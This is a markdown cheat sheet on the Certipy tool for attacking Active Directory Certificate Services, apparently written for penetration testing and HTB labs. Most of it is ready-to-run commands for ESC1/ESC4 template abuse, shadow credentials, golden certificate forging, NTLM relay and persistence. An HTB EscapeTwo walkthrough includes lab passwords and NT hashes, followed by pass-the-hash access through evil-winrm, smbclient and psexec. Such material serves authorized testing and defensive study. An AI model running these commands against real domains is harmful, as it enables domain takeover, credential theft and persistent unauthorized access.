certipy.md (19317B)
1 --- 2 title: "Certipy" 3 description: "Certipy ADCS enumeration and ESC exploitation: template abuse, PKINIT, golden certificate, shadow creds." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, adcs, certificates] 7 tools: [Certipy] 8 difficulty: advanced 9 updated: "2026-08-09" 10 source: "repo:Active-Directory/Certipy-ad.md" 11 --- 12 13 # Certipy 14 15 A guide for Active Directory Certificate Services (AD CS) enumeration and exploitation using Certipy. 16 17 > **Note — `certipy-ad` vs `certipy`:** these are the **same tool with identical syntax**, not two different programs. `certipy-ad` is the PyPI package name (the plain `certipy` name was already taken). Depending on how it was installed the binary on your `$PATH` may be `certipy` or `certipy-ad` (Kali's apt package ships `certipy-ad`; `pip install certipy-ad` usually exposes `certipy`). Commands below are written as `certipy-ad` — just drop the `-ad` if that is what your install exposes. Every flag and subcommand is the same either way. Check with `which certipy certipy-ad`. 18 19 ## Overview 20 21 Certipy is an offensive-security tool for enumerating and exploiting AD CS misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities. 22 23 ### Key Capabilities 24 25 | Function | Description | 26 |:---------|:------------| 27 | Enumeration | Identify vulnerable certificate templates and CAs | 28 | Certificate Requests | Request certificates with custom attributes | 29 | Authentication | Use certificates for Kerberos auth and NT hash retrieval | 30 | Template Manipulation | Modify certificate templates to create exploitation paths | 31 | Shadow Credentials | Add Key Credential Links for account takeover | 32 | Golden Certificates | Forge certificates using compromised CA keys | 33 34 ## Installation 35 36 ```bash 37 # Install via pip 38 pip install certipy-ad --break-system-packages 39 40 # Install via apt (Kali Linux) 41 sudo apt install certipy-ad 42 43 # Verify installation 44 certipy-ad -h 45 ``` 46 47 ## Common Usage Patterns 48 49 ### Enumeration Workflow 50 51 ```bash 52 # Basic enumeration 53 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 54 55 # Enumerate vulnerable templates only 56 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled 57 58 # Output to specific format 59 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results 60 61 # Using NTLM hash authentication 62 certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51 63 ``` 64 65 ### Certificate Request Workflow 66 67 ```bash 68 # Request certificate with UPN 69 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51 70 71 # Request using hash authentication 72 certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51 73 74 # Retrieve previously requested certificate 75 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51 76 ``` 77 78 ### Authentication Workflow 79 80 ```bash 81 # Authenticate using certificate 82 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 83 84 # With PFX password 85 certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51 86 87 # Save in kirbi format 88 certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51 89 90 # LDAP shell access 91 certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51 92 ``` 93 94 ## Command Reference 95 96 ### Global Flags 97 98 | Flag | Description | Example | 99 |:-----|:------------|:--------| 100 | `-u`, `-username` | Username for authentication | `-u user@domain.local` | 101 | `-p`, `-password` | Password for authentication | `-p 'Password123'` | 102 | `-hashes` | NTLM hash (pass-the-hash) | `-hashes ':NTHASH'` or `-hashes 'LMHASH:NTHASH'` | 103 | `-k` | Use Kerberos authentication from ccache | `-k` | 104 | `-aes` | AES key for Kerberos auth | `-aes <hex_key>` | 105 | `-dc-ip` | Domain controller IP address | `-dc-ip 10.10.11.51` | 106 | `-dc-host` | Domain controller hostname | `-dc-host dc01.domain.local` | 107 | `-target` | Target machine DNS/IP | `-target ca.domain.local` | 108 | `-ns` | Nameserver for DNS resolution | `-ns 8.8.8.8` | 109 | `-timeout` | Connection timeout in seconds | `-timeout 30` | 110 | `-debug` | Enable debug output | `-debug` | 111 112 ### 1. `find` - Enumerate AD CS 113 114 Discover certificate templates, CAs, and misconfigurations. 115 116 ```bash 117 certipy-ad find [options] 118 ``` 119 120 Key flags: 121 122 | Flag | Description | 123 |:-----|:------------| 124 | `-vulnerable` | Show only vulnerable templates | 125 | `-enabled` | Show only enabled templates | 126 | `-text` | Output as formatted text file | 127 | `-json` | Output as JSON | 128 | `-csv` | Output as CSV | 129 | `-stdout` | Output directly to console | 130 | `-output <prefix>` | File prefix for output | 131 | `-oids` | Show Issuance Policies | 132 | `-hide-admins` | Suppress admin permissions | 133 | `-dc-only` | Only collect from DC (skip CA queries) | 134 135 ```bash 136 # Find vulnerable templates 137 certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -vulnerable -enabled -stdout 138 139 # Full enumeration with all outputs 140 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -json -text -output dc01_enum 141 ``` 142 143 ### 2. `req` - Request Certificates 144 145 Request and retrieve certificates from AD CS. 146 147 ```bash 148 certipy-ad req [options] 149 ``` 150 151 Key flags: 152 153 | Flag | Description | 154 |:-----|:------------| 155 | `-ca <name>` | Certificate Authority name | 156 | `-template <name>` | Certificate template name | 157 | `-upn <upn>` | User Principal Name for SAN | 158 | `-dns <dns>` | DNS name for SAN | 159 | `-sid <sid>` | Object SID for SAN | 160 | `-subject <dn>` | Certificate subject DN | 161 | `-retrieve <id>` | Retrieve certificate by request ID | 162 | `-on-behalf-of <user>` | Request on behalf of another user | 163 | `-pfx <file>` | PFX for on-behalf-of or renewal | 164 | `-renew` | Create renewal request | 165 | `-out <file>` | Output PFX filename | 166 | `-web` | Use Web Enrollment | 167 | `-dcom` | Use DCOM Enrollment | 168 169 ```bash 170 # Request certificate with custom UPN (ESC1) 171 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51 172 173 # Retrieve certificate by request ID 174 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 -dc-ip 10.10.11.51 175 176 # Request on behalf of another user (ESC2/ESC3) 177 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User -on-behalf-of 'domain\administrator' -pfx user.pfx 178 ``` 179 180 ### 3. `auth` - Authenticate with Certificate 181 182 Use certificates for authentication and NT hash retrieval. 183 184 ```bash 185 certipy-ad auth -pfx <cert.pfx> [options] 186 ``` 187 188 Key flags: 189 190 | Flag | Description | 191 |:-----|:------------| 192 | `-pfx <file>` | Path to certificate (PFX/P12) | 193 | `-password <pass>` | PFX file password | 194 | `-no-save` | Don't save TGT to file | 195 | `-no-hash` | Don't request NT hash | 196 | `-print` | Print TGT in kirbi format | 197 | `-kirbi` | Save as .kirbi instead of ccache | 198 | `-username <user>` | Override certificate username | 199 | `-domain <domain>` | Override certificate domain | 200 | `-ldap-shell` | Start LDAP shell after auth | 201 202 ```bash 203 # Authenticate and retrieve NT hash 204 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 205 206 # With password-protected PFX 207 certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51 208 209 # Start LDAP shell 210 certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51 211 ``` 212 213 ### 4. `template` - Manage Templates 214 215 View and modify certificate template configurations. 216 217 ```bash 218 certipy-ad template -template <name> [options] 219 ``` 220 221 Key flags: 222 223 | Flag | Description | 224 |:-----|:------------| 225 | `-template <name>` | Certificate template name | 226 | `-save-configuration <file>` | Save current config to JSON | 227 | `-write-configuration <file>` | Apply config from JSON file | 228 | `-write-default-configuration` | Apply default ESC1 config | 229 | `-no-save` | Skip backup before changes | 230 | `-force` | Don't prompt for confirmation | 231 232 ```bash 233 # Save template configuration 234 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -save-configuration backup.json -dc-ip 10.10.11.51 235 236 # Apply ESC1 configuration (make vulnerable) 237 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51 238 239 # Restore from backup 240 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template -write-configuration backup.json -no-save -dc-ip 10.10.11.51 241 ``` 242 243 ### 5. `shadow` - Shadow Credentials 244 245 Manipulate Key Credential Links for account takeover. 246 247 ```bash 248 certipy-ad shadow <action> [options] 249 ``` 250 251 Actions: `auto` (add, auth, restore), `list`, `add`, `remove`, `clear`, `info`. 252 253 | Flag | Description | 254 |:-----|:------------| 255 | `-account <target>` | Target account | 256 | `-device-id <guid>` | Specific device ID | 257 | `-out <file>` | Output certificate file | 258 259 ```bash 260 # Automatic shadow credential attack 261 certipy-ad shadow auto -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local 262 263 # List Key Credentials 264 certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local 265 266 # Add Key Credential 267 certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' -dc-ip 10.10.11.51 -dc-host dc01.domain.local 268 ``` 269 270 > **Certipy v5 gotcha —** `shadow auto` with `-dc-ip` but **no** `-dc-host` fails with `[Errno 113] No route to host` even when the IP is correct and `/etc/hosts` is set. Either pass `-dc-host dc01.<domain>` (add `-ns <DC_IP>` to pin DNS) **or** drop `-dc-ip` entirely and let Certipy resolve the DC itself: 271 > ```bash 272 > # Works — no -dc-ip, Certipy resolves the DC via DNS / /etc/hosts 273 > certipy-ad shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account winrm_svc 274 > ``` 275 > Also expand shell variables with **double** quotes, not single: `-u "$USER@fluffy.htb"` (single quotes pass the literal string `$USER`). 276 277 ### 6. `account` - Manage Accounts 278 279 Create, read, update, delete AD accounts. 280 281 ```bash 282 certipy-ad account <action> -user <name> [options] 283 ``` 284 285 Actions: `create`, `read`, `update`, `delete`. 286 287 | Flag | Description | 288 |:-----|:------------| 289 | `-user <name>` | SAM account name | 290 | `-pass <password>` | Set password | 291 | `-dns <hostname>` | Set DNS hostname | 292 | `-upn <upn>` | Set UPN | 293 | `-spns <spn1,spn2>` | Set SPNs | 294 295 ```bash 296 # Create machine account 297 certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' -dc-ip 10.10.11.51 298 299 # Update account password 300 certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' -dc-ip 10.10.11.51 301 ``` 302 303 ### 7. `ca` - Manage Certificate Authority 304 305 Manage CA settings and certificate requests. 306 307 ```bash 308 certipy-ad ca -ca <name> [options] 309 ``` 310 311 | Flag | Description | 312 |:-----|:------------| 313 | `-ca <name>` | CA name | 314 | `-list-templates` | List enabled templates | 315 | `-enable-template <name>` | Enable template on CA | 316 | `-disable-template <name>` | Disable template on CA | 317 | `-issue-request <id>` | Approve pending request | 318 | `-deny-request <id>` | Deny pending request | 319 | `-add-officer <user>` | Add certificate officer | 320 321 ```bash 322 # List enabled templates 323 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates -dc-ip 10.10.11.51 324 325 # Approve pending request 326 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 -dc-ip 10.10.11.51 327 ``` 328 329 ### 8. `forge` - Forge Certificates 330 331 Create golden certificates or self-signed certs. 332 333 ```bash 334 certipy-ad forge [options] 335 ``` 336 337 | Flag | Description | 338 |:-----|:------------| 339 | `-ca-pfx <file>` | CA certificate/key (for golden cert) | 340 | `-ca-password <pass>` | CA PFX password | 341 | `-upn <upn>` | UPN for certificate | 342 | `-subject <dn>` | Certificate subject | 343 | `-template <file>` | Clone from template cert | 344 | `-out <file>` | Output PFX file | 345 | `-validity-period <days>` | Validity in days | 346 347 ```bash 348 # Forge golden certificate 349 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx 350 ``` 351 352 ### 9. `relay` - NTLM Relay 353 354 Relay NTLM authentication to AD CS endpoints. 355 356 ```bash 357 certipy-ad relay -target <proto://host> [options] 358 ``` 359 360 | Flag | Description | 361 |:-----|:------------| 362 | `-target <proto://host>` | Target (http:// or rpc://) | 363 | `-ca <name>` | CA name (for RPC) | 364 | `-template <name>` | Certificate template | 365 | `-interface <ip>` | Listen interface | 366 | `-port <port>` | Listen port (default: 445) | 367 | `-forever` | Keep relay server alive | 368 | `-enum-templates` | Enumerate templates via relay | 369 370 ## ESC4 Exploitation Workflow 371 372 ESC4 occurs when an attacker has **write permissions** over a certificate template, allowing them to modify it to become vulnerable (typically ESC1). 373 374 Prerequisites: 375 376 - Compromised account with write access to a certificate template 377 - Membership in groups with template modification rights (e.g. Cert Publishers) 378 - Access to Active Directory Certificate Services 379 380 ### Step 1: Enumerate and Identify ESC4 381 382 ```bash 383 # Find vulnerable templates 384 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -vulnerable -stdout 385 386 # Look for output like: 387 # [!] Vulnerabilities 388 # ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions 389 ``` 390 391 ### Step 2: Modify Template (Certipy 5.x) 392 393 ```bash 394 # Apply default ESC1 configuration 395 certipy-ad template -u ca_svc@sequel.htb \ 396 -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 397 -template DunderMifflinAuthentication \ 398 -write-default-configuration \ 399 -dc-ip 10.10.11.51 400 401 # Confirm changes when prompted 402 ``` 403 404 ### Step 3: Request Certificate with UPN 405 406 ```bash 407 # Request admin certificate 408 certipy-ad req -u ca_svc@sequel.htb \ 409 -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 410 -ca sequel-DC01-CA \ 411 -template DunderMifflinAuthentication \ 412 -upn administrator@sequel.htb \ 413 -dc-ip 10.10.11.51 414 415 # Output: administrator.pfx 416 ``` 417 418 ### Step 4: Authenticate and Extract Hash 419 420 ```bash 421 # Authenticate with certificate 422 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 423 424 # Output: 425 # [*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff 426 ``` 427 428 ### Step 5: Use Hash for Access 429 430 ```bash 431 # WinRM access 432 evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff 433 434 # SMB access 435 smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$ 436 437 # psexec 438 psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51 439 ``` 440 441 ### Step 6: Restore Template (Clean Up) 442 443 ```bash 444 # Restore from automatic backup 445 certipy-ad template -u ca_svc@sequel.htb \ 446 -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \ 447 -template DunderMifflinAuthentication \ 448 -write-configuration DunderMifflinAuthentication.json \ 449 -no-save \ 450 -dc-ip 10.10.11.51 451 ``` 452 453 ### Alternative Method (Certipy 4.x - Legacy) 454 455 ```bash 456 # Step 1: Modify template (auto-saves backup) 457 certipy-ad template -u ca_svc -hashes :HASH \ 458 -dc-ip 10.10.11.51 \ 459 -template DunderMifflinAuthentication \ 460 -target dc01.sequel.htb \ 461 -save-old 462 463 # Step 2: Request certificate 464 certipy-ad req -ca sequel-DC01-CA \ 465 -u ca_svc -hashes :HASH \ 466 -dc-ip 10.10.11.51 \ 467 -template DunderMifflinAuthentication \ 468 -target dc01.sequel.htb \ 469 -upn administrator@sequel.htb 470 471 # Step 3: Authenticate 472 certipy-ad auth -pfx administrator.pfx 473 474 # Step 4: Restore (backup auto-created) 475 # Check for DunderMifflinAuthentication.json in current directory 476 ``` 477 478 ## HTB EscapeTwo Context 479 480 Exploitation path: 481 482 1. Initial Access: rose creds → SQL admin password → shell as sql_svc 483 2. Lateral Movement: find ryan credentials → WinRM access 484 3. Privilege Escalation: ryan has WriteOwner on ca_svc account 485 4. Account Takeover: use BloodyAD for ownership + permissions 486 5. Shadow Credentials: add shadow credential to ca_svc 487 6. ESC4 Exploitation: ca_svc in Cert Publishers → modify template → pwn 488 489 Key commands: 490 491 ```bash 492 # Ownership change (using BloodyAD) 493 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan 494 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan 495 496 # Shadow credential attack (v5: pass -dc-host, or drop -dc-ip — see the shadow section gotcha) 497 certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb 498 499 # ESC4 enumeration 500 certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51 -stdout 501 502 # Template modification 503 certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -template DunderMifflinAuthentication -write-default-configuration -dc-ip 10.10.11.51 504 505 # Certificate request 506 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template DunderMifflinAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.51 507 508 # Authentication 509 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51 510 ``` 511 512 ## Post-Exploitation 513 514 ### Using Certificates 515 516 ```bash 517 # Pass-the-Certificate with evil-winrm 518 evil-winrm -i DC01 -c admin.crt -k admin.key 519 520 # Use ccache for Kerberos auth 521 export KRB5CCNAME=administrator.ccache 522 smbclient.py -k -no-pass administrator@dc01.sequel.htb 523 524 # Convert PFX to PEM for other tools 525 openssl pkcs12 -in admin.pfx -nocerts -out admin.key 526 openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt 527 ``` 528 529 ### Persistence 530 531 ```bash 532 # Renew certificate before expiration 533 certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template -renew -pfx admin.pfx -dc-ip 10.10.11.51 534 535 # Forge golden certificate (requires CA key) 536 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx 537 ``` 538 539 ## Tips & Best Practices 540 541 Operational security: 542 543 - Always back up templates before modification. 544 - Clean up after testing (restore configurations). 545 - Document request IDs for later retrieval. 546 - Note certificate validity periods for persistence planning. 547 548 Enumeration tips: 549 550 - Start with `-vulnerable -enabled` for quick wins. 551 - Use `-json` output for parsing with tools like jq. 552 - Check group memberships (Cert Publishers is key for ESC4). 553 - Enumerate with BloodHound for WriteOwner/GenericAll on service accounts. 554 555 Common attack chains: 556 557 ```text 558 WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request 559 WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin 560 ManageCA + ManageCertificates → ESC7 → Certificate → Compromise 561 ``` 562 563 ### Troubleshooting 564 565 | Error | Solution | 566 |:------|:---------| 567 | `CERTSRV_E_TEMPLATE_DENIED` | User not authorized for template - check enrollment rights | 568 | `Object SID mismatch` | Strong Certificate Mapping enabled - use `-sid` flag | 569 | `INSUFF_ACCESS_RIGHTS` | Need GenericAll/WriteOwner - check permissions | 570 | Connection timeout | Check firewall, verify DC-IP, try `-timeout 30` | 571 572 ## References 573 574 - Certipy GitHub Wiki: https://github.com/ly4k/Certipy/wiki 575 - Certified Pre-Owned Whitepaper: https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf 576 - ADCS Attack Paths (Hacker Recipes): https://www.thehacker.recipes/ad/movement/adcs